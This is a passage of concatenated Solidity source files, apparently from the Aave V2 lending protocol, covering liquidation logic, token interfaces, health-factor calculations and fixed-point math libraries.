IERC20(debtAsset).safeApprove(address(LENDING_POOL), 0); IERC20(debtAsset).safeApprove(address(LENDING_POOL), amount.add(premium)); } /** * @dev Decodes debt information encoded in the flash loan params * @param params Additional variadic field to include extra params. Expected parameters: * address collateralAsset Address of the reserve to be swapped * uint256 collateralAmount Amount of reserve to be swapped * uint256 rateMode Rate modes of the debt to be repaid * uint256 permitAmount Amount for the permit signature * uint256 deadline Deadline for the permit signature * uint8 v V param for the permit signature * bytes32 r R param for the permit signature * bytes32 s S param for the permit signature * bool useEthPath use WETH path route * @return RepayParams struct containing decoded params */ function _decodeParams(bytes memory params) internal pure returns (RepayParams memory) { ( address collateralAsset, uint256 collateralAmount, uint256 rateMode, uint256 permitAmount, uint256 deadline, uint8 v, bytes32 r, bytes32 s, bool useEthPath ) = abi.decode( params, (address, uint256, uint256, uint256, uint256, uint8, bytes32, bytes32, bool) ); return RepayParams( collateralAsset, collateralAmount, rateMode, PermitSignature(permitAmount, deadline, v, r, s), useEthPath ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../dependencies/openzeppelin/contracts//SafeMath.sol'; import {IERC20} from '../../dependencies/openzeppelin/contracts//IERC20.sol'; import {IAToken} from '../../interfaces/IAToken.sol'; import {IStableDebtToken} from '../../interfaces/IStableDebtToken.sol'; import {IVariableDebtToken} from '../../interfaces/IVariableDebtToken.sol'; import {IPriceOracleGetter} from '../../interfaces/IPriceOracleGetter.sol'; import {ILendingPoolCollateralManager} from '../../interfaces/ILendingPoolCollateralManager.sol'; import {VersionedInitializable} from '../libraries/aave-upgradeability/VersionedInitializable.sol'; import {GenericLogic} from '../libraries/logic/GenericLogic.sol'; import {Helpers} from '../libraries/helpers/Helpers.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {PercentageMath} from '../libraries/math/PercentageMath.sol'; import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {ValidationLogic} from '../libraries/logic/ValidationLogic.sol'; import {DataTypes} from '../libraries/types/DataTypes.sol'; import {LendingPoolStorage} from './LendingPoolStorage.sol'; /** * @title LendingPoolCollateralManager contract * @author Aave * @dev Implements actions involving management of collateral in the protocol, the main one being the liquidations * IMPORTANT This contract will run always via DELEGATECALL, through the LendingPool, so the chain of inheritance * is the same as the LendingPool, to have compatible storage layouts **/ contract LendingPoolCollateralManager is ILendingPoolCollateralManager, VersionedInitializable, LendingPoolStorage { using SafeERC20 for IERC20; using SafeMath for uint256; using WadRayMath for uint256; using PercentageMath for uint256; uint256 internal constant LIQUIDATION_CLOSE_FACTOR_PERCENT = 5000; struct LiquidationCallLocalVars { uint256 userCollateralBalance; uint256 userStableDebt; uint256 userVariableDebt; uint256 maxLiquidatableDebt; uint256 actualDebtToLiquidate; uint256 liquidationRatio; uint256 maxAmountCollateralToLiquidate; uint256 userStableRate; uint256 maxCollateralToLiquidate; uint256 debtAmountNeeded; uint256 healthFactor; uint256 liquidatorPreviousATokenBalance; IAToken collateralAtoken; bool isCollateralEnabled; DataTypes.InterestRateMode borrowRateMode; uint256 errorCode; string errorMsg; } /** * @dev As thIS contract extends the VersionedInitializable contract to match the state * of the LendingPool contract, the getRevision() function is needed, but the value is not * important, as the initialize() function will never be called here */ function getRevision() internal pure override returns (uint256) { return 0; } /** * @dev Function to liquidate a position if its Health Factor drops below 1 * - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives * a proportionally amount of the `collateralAsset` plus a bonus to cover market risk * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover, bool receiveAToken ) external override returns (uint256, string memory) { DataTypes.ReserveData storage collateralReserve = _reserves[collateralAsset]; DataTypes.ReserveData storage debtReserve = _reserves[debtAsset]; DataTypes.UserConfigurationMap storage userConfig = _usersConfig[user]; LiquidationCallLocalVars memory vars; (, , , , vars.healthFactor) = GenericLogic.calculateUserAccountData( user, _reserves, userConfig, _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); (vars.userStableDebt, vars.userVariableDebt) = Helpers.getUserCurrentDebt(user, debtReserve); (vars.errorCode, vars.errorMsg) = ValidationLogic.validateLiquidationCall( collateralReserve, debtReserve, userConfig, vars.healthFactor, vars.userStableDebt, vars.userVariableDebt ); if (Errors.CollateralManagerErrors(vars.errorCode) != Errors.CollateralManagerErrors.NO_ERROR) { return (vars.errorCode, vars.errorMsg); } vars.collateralAtoken = IAToken(collateralReserve.aTokenAddress); vars.userCollateralBalance = vars.collateralAtoken.balanceOf(user); vars.maxLiquidatableDebt = vars.userStableDebt.add(vars.userVariableDebt).percentMul( LIQUIDATION_CLOSE_FACTOR_PERCENT ); vars.actualDebtToLiquidate = debtToCover > vars.maxLiquidatableDebt ? vars.maxLiquidatableDebt : debtToCover; ( vars.maxCollateralToLiquidate, vars.debtAmountNeeded ) = _calculateAvailableCollateralToLiquidate( collateralReserve, debtReserve, collateralAsset, debtAsset, vars.actualDebtToLiquidate, vars.userCollateralBalance ); // If debtAmountNeeded < actualDebtToLiquidate, there isn't enough // collateral to cover the actual amount that is being liquidated, hence we liquidate // a smaller amount if (vars.debtAmountNeeded < vars.actualDebtToLiquidate) { vars.actualDebtToLiquidate = vars.debtAmountNeeded; } // If the liquidator reclaims the underlying asset, we make sure there is enough available liquidity in the // collateral reserve if (!receiveAToken) { uint256 currentAvailableCollateral = IERC20(collateralAsset).balanceOf(address(vars.collateralAtoken)); if (currentAvailableCollateral < vars.maxCollateralToLiquidate) { return ( uint256(Errors.CollateralManagerErrors.NOT_ENOUGH_LIQUIDITY), Errors.LPCM_NOT_ENOUGH_LIQUIDITY_TO_LIQUIDATE ); } } debtReserve.updateState(); if (vars.userVariableDebt >= vars.actualDebtToLiquidate) { IVariableDebtToken(debtReserve.variableDebtTokenAddress).burn( user, vars.actualDebtToLiquidate, debtReserve.variableBorrowIndex ); } else { // If the user doesn't have variable debt, no need to try to burn variable debt tokens if (vars.userVariableDebt > 0) { IVariableDebtToken(debtReserve.variableDebtTokenAddress).burn( user, vars.userVariableDebt, debtReserve.variableBorrowIndex ); } IStableDebtToken(debtReserve.stableDebtTokenAddress).burn( user, vars.actualDebtToLiquidate.sub(vars.userVariableDebt) ); } debtReserve.updateInterestRates( debtAsset, debtReserve.aTokenAddress, vars.actualDebtToLiquidate, 0 ); if (receiveAToken) { vars.liquidatorPreviousATokenBalance = IERC20(vars.collateralAtoken).balanceOf(msg.sender); vars.collateralAtoken.transferOnLiquidation(user, msg.sender, vars.maxCollateralToLiquidate); if (vars.liquidatorPreviousATokenBalance == 0) { DataTypes.UserConfigurationMap storage liquidatorConfig = _usersConfig[msg.sender]; liquidatorConfig.setUsingAsCollateral(collateralReserve.id, true); emit ReserveUsedAsCollateralEnabled(collateralAsset, msg.sender); } } else { collateralReserve.updateState(); collateralReserve.updateInterestRates( collateralAsset, address(vars.collateralAtoken), 0, vars.maxCollateralToLiquidate ); // Burn the equivalent amount of aToken, sending the underlying to the liquidator vars.collateralAtoken.burn( user, msg.sender, vars.maxCollateralToLiquidate, collateralReserve.liquidityIndex ); } // If the collateral being liquidated is equal to the user balance, // we set the currency as not being used as collateral anymore if (vars.maxCollateralToLiquidate == vars.userCollateralBalance) { userConfig.setUsingAsCollateral(collateralReserve.id, false); emit ReserveUsedAsCollateralDisabled(collateralAsset, user); } // Transfers the debt asset being repaid to the aToken, where the liquidity is kept IERC20(debtAsset).safeTransferFrom( msg.sender, debtReserve.aTokenAddress, vars.actualDebtToLiquidate ); emit LiquidationCall( collateralAsset, debtAsset, user, vars.actualDebtToLiquidate, vars.maxCollateralToLiquidate, msg.sender, receiveAToken ); return (uint256(Errors.CollateralManagerErrors.NO_ERROR), Errors.LPCM_NO_ERRORS); } struct AvailableCollateralToLiquidateLocalVars { uint256 userCompoundedBorrowBalance; uint256 liquidationBonus; uint256 collateralPrice; uint256 debtAssetPrice; uint256 maxAmountCollateralToLiquidate; uint256 debtAssetDecimals; uint256 collateralDecimals; } /** * @dev Calculates how much of a specific collateral can be liquidated, given * a certain amount of debt asset. * - This function needs to be called after all the checks to validate the liquidation have been performed, * otherwise it might fail. * @param collateralReserve The data of the collateral reserve * @param debtReserve The data of the debt reserve * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param userCollateralBalance The collateral balance for the specific `collateralAsset` of the user being liquidated * @return collateralAmount: The maximum amount that is possible to liquidate given all the liquidation constraints * (user balance, close factor) * debtAmountNeeded: The amount to repay with the liquidation **/ function _calculateAvailableCollateralToLiquidate( DataTypes.ReserveData storage collateralReserve, DataTypes.ReserveData storage debtReserve, address collateralAsset, address debtAsset, uint256 debtToCover, uint256 userCollateralBalance ) internal view returns (uint256, uint256) { uint256 collateralAmount = 0; uint256 debtAmountNeeded = 0; IPriceOracleGetter oracle = IPriceOracleGetter(_addressesProvider.getPriceOracle()); AvailableCollateralToLiquidateLocalVars memory vars; vars.collateralPrice = oracle.getAssetPrice(collateralAsset); vars.debtAssetPrice = oracle.getAssetPrice(debtAsset); (, , vars.liquidationBonus, vars.collateralDecimals, ) = collateralReserve .configuration .getParams(); vars.debtAssetDecimals = debtReserve.configuration.getDecimals(); // This is the maximum possible amount of the selected collateral that can be liquidated, given the // max amount of liquidatable debt vars.maxAmountCollateralToLiquidate = vars .debtAssetPrice .mul(debtToCover) .mul(10**vars.collateralDecimals) .percentMul(vars.liquidationBonus) .div(vars.collateralPrice.mul(10**vars.debtAssetDecimals)); if (vars.maxAmountCollateralToLiquidate > userCollateralBalance) { collateralAmount = userCollateralBalance; debtAmountNeeded = vars .collateralPrice .mul(collateralAmount) .mul(10**vars.debtAssetDecimals) .div(vars.debtAssetPrice.mul(10**vars.collateralDecimals)) .percentDiv(vars.liquidationBonus); } else { collateralAmount = vars.maxAmountCollateralToLiquidate; debtAmountNeeded = debtToCover; } return (collateralAmount, debtAmountNeeded); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {IScaledBalanceToken} from './IScaledBalanceToken.sol'; interface IAToken is IERC20, IScaledBalanceToken { /** * @dev Emitted after the mint action * @param from The address performing the mint * @param value The amount being * @param index The new liquidity index of the reserve **/ event Mint(address indexed from, uint256 value, uint256 index); /** * @dev Mints `amount` aTokens to `user` * @param user The address receiving the minted tokens * @param amount The amount of tokens getting minted * @param index The new liquidity index of the reserve * @return `true` if the the previous balance of the user was 0 */ function mint( address user, uint256 amount, uint256 index ) external returns (bool); /** * @dev Emitted after aTokens are burned * @param from The owner of the aTokens, getting them burned * @param target The address that will receive the underlying * @param value The amount being burned * @param index The new liquidity index of the reserve **/ event Burn(address indexed from, address indexed target, uint256 value, uint256 index); /** * @dev Emitted during the transfer action * @param from The user whose tokens are being transferred * @param to The recipient * @param value The amount being transferred * @param index The new liquidity index of the reserve **/ event BalanceTransfer(address indexed from, address indexed to, uint256 value, uint256 index); /** * @dev Burns aTokens from `user` and sends the equivalent amount of underlying to `receiverOfUnderlying` * @param user The owner of the aTokens, getting them burned * @param receiverOfUnderlying The address that will receive the underlying * @param amount The amount being burned * @param index The new liquidity index of the reserve **/ function burn( address user, address receiverOfUnderlying, uint256 amount, uint256 index ) external; /** * @dev Mints aTokens to the reserve treasury * @param amount The amount of tokens getting minted * @param index The new liquidity index of the reserve */ function mintToTreasury(uint256 amount, uint256 index) external; /** * @dev Transfers aTokens in the event of a borrow being liquidated, in case the liquidators reclaims the aToken * @param from The address getting liquidated, current owner of the aTokens * @param to The recipient * @param value The amount of tokens getting transferred **/ function transferOnLiquidation( address from, address to, uint256 value ) external; /** * @dev Transfers the underlying asset to `target`. Used by the LendingPool to transfer * assets in borrow(), withdraw() and flashLoan() * @param user The recipient of the aTokens * @param amount The amount getting transferred * @return The amount transferred **/ function transferUnderlyingTo(address user, uint256 amount) external returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title IStableDebtToken * @notice Defines the interface for the stable debt token * @dev It does not inherit from IERC20 to save in code size * @author Aave **/ interface IStableDebtToken { /** * @dev Emitted when new stable debt is minted * @param user The address of the user who triggered the minting * @param onBehalfOf The recipient of stable debt tokens * @param amount The amount minted * @param currentBalance The current balance of the user * @param balanceIncrease The increase in balance since the last action of the user * @param newRate The rate of the debt after the minting * @param avgStableRate The new average stable rate after the minting * @param newTotalSupply The new total supply of the stable debt token after the action **/ event Mint( address indexed user, address indexed onBehalfOf, uint256 amount, uint256 currentBalance, uint256 balanceIncrease, uint256 newRate, uint256 avgStableRate, uint256 newTotalSupply ); /** * @dev Emitted when new stable debt is burned * @param user The address of the user * @param amount The amount being burned * @param currentBalance The current balance of the user * @param balanceIncrease The the increase in balance since the last action of the user * @param avgStableRate The new average stable rate after the burning * @param newTotalSupply The new total supply of the stable debt token after the action **/ event Burn( address indexed user, uint256 amount, uint256 currentBalance, uint256 balanceIncrease, uint256 avgStableRate, uint256 newTotalSupply ); /** * @dev Mints debt token to the `onBehalfOf` address. * - The resulting rate is the weighted average between the rate of the new debt * and the rate of the previous debt * @param user The address receiving the borrowed underlying, being the delegatee in case * of credit delegate, or same as `onBehalfOf` otherwise * @param onBehalfOf The address receiving the debt tokens * @param amount The amount of debt tokens to mint * @param rate The rate of the debt being minted **/ function mint( address user, address onBehalfOf, uint256 amount, uint256 rate ) external returns (bool); /** * @dev Burns debt of `user` * - The resulting rate is the weighted average between the rate of the new debt * and the rate of the previous debt * @param user The address of the user getting his debt burned * @param amount The amount of debt tokens getting burned **/ function burn(address user, uint256 amount) external; /** * @dev Returns the average rate of all the stable rate loans. * @return The average stable rate **/ function getAverageStableRate() external view returns (uint256); /** * @dev Returns the stable rate of the user debt * @return The stable rate of the user **/ function getUserStableRate(address user) external view returns (uint256); /** * @dev Returns the timestamp of the last update of the user * @return The timestamp **/ function getUserLastUpdated(address user) external view returns (uint40); /** * @dev Returns the principal, the total supply and the average stable rate **/ function getSupplyData() external view returns ( uint256, uint256, uint256, uint40 ); /** * @dev Returns the timestamp of the last update of the total supply * @return The timestamp **/ function getTotalSupplyLastUpdated() external view returns (uint40); /** * @dev Returns the total supply and the average stable rate **/ function getTotalSupplyAndAvgRate() external view returns (uint256, uint256); /** * @dev Returns the principal debt balance of the user * @return The debt balance of the user since the last burn/mint action **/ function principalBalanceOf(address user) external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IScaledBalanceToken} from './IScaledBalanceToken.sol'; /** * @title IVariableDebtToken * @author Aave * @notice Defines the basic interface for a variable debt token. **/ interface IVariableDebtToken is IScaledBalanceToken { /** * @dev Emitted after the mint action * @param from The address performing the mint * @param onBehalfOf The address of the user on which behalf minting has been performed * @param value The amount to be minted * @param index The last index of the reserve **/ event Mint(address indexed from, address indexed onBehalfOf, uint256 value, uint256 index); /** * @dev Mints debt token to the `onBehalfOf` address * @param user The address receiving the borrowed underlying, being the delegatee in case * of credit delegate, or same as `onBehalfOf` otherwise * @param onBehalfOf The address receiving the debt tokens * @param amount The amount of debt being minted * @param index The variable debt index of the reserve * @return `true` if the the previous balance of the user is 0 **/ function mint( address user, address onBehalfOf, uint256 amount, uint256 index ) external returns (bool); /** * @dev Emitted when variable debt is burnt * @param user The user which debt has been burned * @param amount The amount of debt being burned * @param index The index of the user **/ event Burn(address indexed user, uint256 amount, uint256 index); /** * @dev Burns user variable debt * @param user The user which debt is burnt * @param index The variable debt index of the reserve **/ function burn( address user, uint256 amount, uint256 index ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title ILendingPoolCollateralManager * @author Aave * @notice Defines the actions involving management of collateral in the protocol. **/ interface ILendingPoolCollateralManager { /** * @dev Emitted when a borrower is liquidated * @param collateral The address of the collateral being liquidated * @param principal The address of the reserve * @param user The address of the user being liquidated * @param debtToCover The total amount liquidated * @param liquidatedCollateralAmount The amount of collateral being liquidated * @param liquidator The address of the liquidator * @param receiveAToken true if the liquidator wants to receive aTokens, false otherwise **/ event LiquidationCall( address indexed collateral, address indexed principal, address indexed user, uint256 debtToCover, uint256 liquidatedCollateralAmount, address liquidator, bool receiveAToken ); /** * @dev Emitted when a reserve is disabled as collateral for an user * @param reserve The address of the reserve * @param user The address of the user **/ event ReserveUsedAsCollateralDisabled(address indexed reserve, address indexed user); /** * @dev Emitted when a reserve is enabled as collateral for an user * @param reserve The address of the reserve * @param user The address of the user **/ event ReserveUsedAsCollateralEnabled(address indexed reserve, address indexed user); /** * @dev Users can invoke this function to liquidate an undercollateralized position. * @param collateral The address of the collateral to liquidated * @param principal The address of the principal reserve * @param user The address of the borrower * @param debtToCover The amount of principal that the liquidator wants to repay * @param receiveAToken true if the liquidators wants to receive the aTokens, false if * he wants to receive the underlying asset directly **/ function liquidationCall( address collateral, address principal, address user, uint256 debtToCover, bool receiveAToken ) external returns (uint256, string memory); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title VersionedInitializable * * @dev Helper contract to implement initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. * * @author Aave, inspired by the OpenZeppelin Initializable contract */ abstract contract VersionedInitializable { /** * @dev Indicates that the contract has been initialized. */ uint256 private lastInitializedRevision = 0; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { uint256 revision = getRevision(); require( initializing || isConstructor() || revision > lastInitializedRevision, 'Contract instance has already been initialized' ); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; lastInitializedRevision = revision; } _; if (isTopLevelCall) { initializing = false; } } /** * @dev returns the revision number of the contract * Needs to be defined in the inherited class as a constant. **/ function getRevision() internal pure virtual returns (uint256); /** * @dev Returns true if and only if the function is running in the constructor **/ function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. uint256 cs; //solium-disable-next-line assembly { cs := extcodesize(address()) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {SafeMath} from '../../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title GenericLogic library * @author Aave * @title Implements protocol-level logic to calculate and validate the state of a user */ library GenericLogic { using ReserveLogic for DataTypes.ReserveData; using SafeMath for uint256; using WadRayMath for uint256; using PercentageMath for uint256; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1 ether; struct balanceDecreaseAllowedLocalVars { uint256 decimals; uint256 liquidationThreshold; uint256 totalCollateralInETH; uint256 totalDebtInETH; uint256 avgLiquidationThreshold; uint256 amountToDecreaseInETH; uint256 collateralBalanceAfterDecrease; uint256 liquidationThresholdAfterDecrease; uint256 healthFactorAfterDecrease; bool reserveUsageAsCollateralEnabled; } /** * @dev Checks if a specific balance decrease is allowed * (i.e. doesn't bring the user borrow position health factor under HEALTH_FACTOR_LIQUIDATION_THRESHOLD) * @param asset The address of the underlying asset of the reserve * @param user The address of the user * @param amount The amount to decrease * @param reservesData The data of all the reserves * @param userConfig The user configuration * @param reserves The list of all the active reserves * @param oracle The address of the oracle contract * @return true if the decrease of the balance is allowed **/ function balanceDecreaseAllowed( address asset, address user, uint256 amount, mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap calldata userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) external view returns (bool) { if (!userConfig.isBorrowingAny() || !userConfig.isUsingAsCollateral(reservesData[asset].id)) { return true; } balanceDecreaseAllowedLocalVars memory vars; (, vars.liquidationThreshold, , vars.decimals, ) = reservesData[asset] .configuration .getParams(); if (vars.liquidationThreshold == 0) { return true; } ( vars.totalCollateralInETH, vars.totalDebtInETH, , vars.avgLiquidationThreshold, ) = calculateUserAccountData(user, reservesData, userConfig, reserves, reservesCount, oracle); if (vars.totalDebtInETH == 0) { return true; } vars.amountToDecreaseInETH = IPriceOracleGetter(oracle).getAssetPrice(asset).mul(amount).div( 10**vars.decimals ); vars.collateralBalanceAfterDecrease = vars.totalCollateralInETH.sub(vars.amountToDecreaseInETH); //if there is a borrow, there can't be 0 collateral if (vars.collateralBalanceAfterDecrease == 0) { return false; } vars.liquidationThresholdAfterDecrease = vars .totalCollateralInETH .mul(vars.avgLiquidationThreshold) .sub(vars.amountToDecreaseInETH.mul(vars.liquidationThreshold)) .div(vars.collateralBalanceAfterDecrease); uint256 healthFactorAfterDecrease = calculateHealthFactorFromBalances( vars.collateralBalanceAfterDecrease, vars.totalDebtInETH, vars.liquidationThresholdAfterDecrease ); return healthFactorAfterDecrease >= GenericLogic.HEALTH_FACTOR_LIQUIDATION_THRESHOLD; } struct CalculateUserAccountDataVars { uint256 reserveUnitPrice; uint256 tokenUnit; uint256 compoundedLiquidityBalance; uint256 compoundedBorrowBalance; uint256 decimals; uint256 ltv; uint256 liquidationThreshold; uint256 i; uint256 healthFactor; uint256 totalCollateralInETH; uint256 totalDebtInETH; uint256 avgLtv; uint256 avgLiquidationThreshold; uint256 reservesLength; bool healthFactorBelowThreshold; address currentReserveAddress; bool usageAsCollateralEnabled; bool userUsesReserveAsCollateral; } /** * @dev Calculates the user data across the reserves. * this includes the total liquidity/collateral/borrow balances in ETH, * the average Loan To Value, the average Liquidation Ratio, and the Health factor. * @param user The address of the user * @param reservesData Data of all the reserves * @param userConfig The configuration of the user * @param reserves The list of the available reserves * @param oracle The price oracle address * @return The total collateral and total debt of the user in ETH, the avg ltv, liquidation threshold and the HF **/ function calculateUserAccountData( address user, mapping(address => DataTypes.ReserveData) storage reservesData, DataTypes.UserConfigurationMap memory userConfig, mapping(uint256 => address) storage reserves, uint256 reservesCount, address oracle ) internal view returns ( uint256, uint256, uint256, uint256, uint256 ) { CalculateUserAccountDataVars memory vars; if (userConfig.isEmpty()) { return (0, 0, 0, 0, uint256(-1)); } for (vars.i = 0; vars.i < reservesCount; vars.i++) { if (!userConfig.isUsingAsCollateralOrBorrowing(vars.i)) { continue; } vars.currentReserveAddress = reserves[vars.i]; DataTypes.ReserveData storage currentReserve = reservesData[vars.currentReserveAddress]; (vars.ltv, vars.liquidationThreshold, , vars.decimals, ) = currentReserve .configuration .getParams(); vars.tokenUnit = 10**vars.decimals; vars.reserveUnitPrice = IPriceOracleGetter(oracle).getAssetPrice(vars.currentReserveAddress); if (vars.liquidationThreshold != 0 && userConfig.isUsingAsCollateral(vars.i)) { vars.compoundedLiquidityBalance = IERC20(currentReserve.aTokenAddress).balanceOf(user); uint256 liquidityBalanceETH = vars.reserveUnitPrice.mul(vars.compoundedLiquidityBalance).div(vars.tokenUnit); vars.totalCollateralInETH = vars.totalCollateralInETH.add(liquidityBalanceETH); vars.avgLtv = vars.avgLtv.add(liquidityBalanceETH.mul(vars.ltv)); vars.avgLiquidationThreshold = vars.avgLiquidationThreshold.add( liquidityBalanceETH.mul(vars.liquidationThreshold) ); } if (userConfig.isBorrowing(vars.i)) { vars.compoundedBorrowBalance = IERC20(currentReserve.stableDebtTokenAddress).balanceOf( user ); vars.compoundedBorrowBalance = vars.compoundedBorrowBalance.add( IERC20(currentReserve.variableDebtTokenAddress).balanceOf(user) ); vars.totalDebtInETH = vars.totalDebtInETH.add( vars.reserveUnitPrice.mul(vars.compoundedBorrowBalance).div(vars.tokenUnit) ); } } vars.avgLtv = vars.totalCollateralInETH > 0 ? vars.avgLtv.div(vars.totalCollateralInETH) : 0; vars.avgLiquidationThreshold = vars.totalCollateralInETH > 0 ? vars.avgLiquidationThreshold.div(vars.totalCollateralInETH) : 0; vars.healthFactor = calculateHealthFactorFromBalances( vars.totalCollateralInETH, vars.totalDebtInETH, vars.avgLiquidationThreshold ); return ( vars.totalCollateralInETH, vars.totalDebtInETH, vars.avgLtv, vars.avgLiquidationThreshold, vars.healthFactor ); } /** * @dev Calculates the health factor from the corresponding balances * @param totalCollateralInETH The total collateral in ETH * @param totalDebtInETH The total debt in ETH * @param liquidationThreshold The avg liquidation threshold * @return The health factor calculated from the balances provided **/ function calculateHealthFactorFromBalances( uint256 totalCollateralInETH, uint256 totalDebtInETH, uint256 liquidationThreshold ) internal pure returns (uint256) { if (totalDebtInETH == 0) return uint256(-1); return (totalCollateralInETH.percentMul(liquidationThreshold)).wadDiv(totalDebtInETH); } /** * @dev Calculates the equivalent amount in ETH that an user can borrow, depending on the available collateral and the * average Loan To Value * @param totalCollateralInETH The total collateral in ETH * @param totalDebtInETH The total borrow balance * @param ltv The average loan to value * @return the amount available to borrow in ETH for the user **/ function calculateAvailableBorrowsETH( uint256 totalCollateralInETH, uint256 totalDebtInETH, uint256 ltv ) internal pure returns (uint256) { uint256 availableBorrowsETH = totalCollateralInETH.percentMul(ltv); if (availableBorrowsETH < totalDebtInETH) { return 0; } availableBorrowsETH = availableBorrowsETH.sub(totalDebtInETH); return availableBorrowsETH; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title Helpers library * @author Aave */ library Helpers { /** * @dev Fetches the user current stable and variable debt balances * @param user The user address * @param reserve The reserve data object * @return The stable and variable debt balance **/ function getUserCurrentDebt(address user, DataTypes.ReserveData storage reserve) internal view returns (uint256, uint256) { return ( IERC20(reserve.stableDebtTokenAddress).balanceOf(user), IERC20(reserve.variableDebtTokenAddress).balanceOf(user) ); } function getUserCurrentDebtMemory(address user, DataTypes.ReserveData memory reserve) internal view returns (uint256, uint256) { return ( IERC20(reserve.stableDebtTokenAddress).balanceOf(user), IERC20(reserve.variableDebtTokenAddress).balanceOf(user) ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Errors} from '../helpers/Errors.sol'; /** * @title WadRayMath library * @author Aave * @dev Provides mul and div function for wads (decimal numbers with 18 digits precision) and rays (decimals with 27 digits) **/ library WadRayMath { uint256 internal constant WAD = 1e18; uint256 internal constant halfWAD = WAD / 2; uint256 internal constant RAY = 1e27; uint256 internal constant halfRAY = RAY / 2; uint256 internal constant WAD_RAY_RATIO = 1e9; /** * @return One ray, 1e27 **/ function ray() internal pure returns (uint256) { return RAY; } /** * @return One wad, 1e18 **/ function wad() internal pure returns (uint256) { return WAD; } /** * @return Half ray, 1e27/2 **/ function halfRay() internal pure returns (uint256) { return halfRAY; } /** * @return Half ray, 1e18/2 **/ function halfWad() internal pure returns (uint256) { return halfWAD; } /** * @dev Multiplies two wad, rounding half up to the nearest wad * @param a Wad * @param b Wad * @return The result of a*b, in wad **/ function wadMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } require(a <= (type(uint256).max - halfWAD) / b, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * b + halfWAD) / WAD; } /** * @dev Divides two wad, rounding half up to the nearest wad * @param a Wad * @param b Wad * @return The result of a/b, in wad **/ function wadDiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfB = b / 2; require(a <= (type(uint256).max - halfB) / WAD, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * WAD + halfB) / b; } /** * @dev Multiplies two ray, rounding half up to the nearest ray * @param a Ray * @param b Ray * @return The result of a*b, in ray **/ function rayMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } require(a <= (type(uint256).max - halfRAY) / b, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * b + halfRAY) / RAY; } /** * @dev Divides two ray, rounding half up to the nearest ray * @param a Ray * @param b Ray * @return The result of a/b, in ray **/ function rayDiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfB = b / 2; require(a <= (type(uint256).max - halfB) / RAY, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * RAY + halfB) / b; } /** * @dev Casts ray down to wad * @param a Ray * @return a casted to wad, rounded half up to the nearest wad **/ function rayToWad(uint256 a) internal pure returns (uint256) { uint256 halfRatio = WAD_RAY_RATIO / 2; uint256 result = halfRatio + a; require(result >= halfRatio, Errors.MATH_ADDITION_OVERFLOW); return result / WAD_RAY_RATIO; } /** * @dev Converts wad up to ray * @param a Wad * @return a converted in 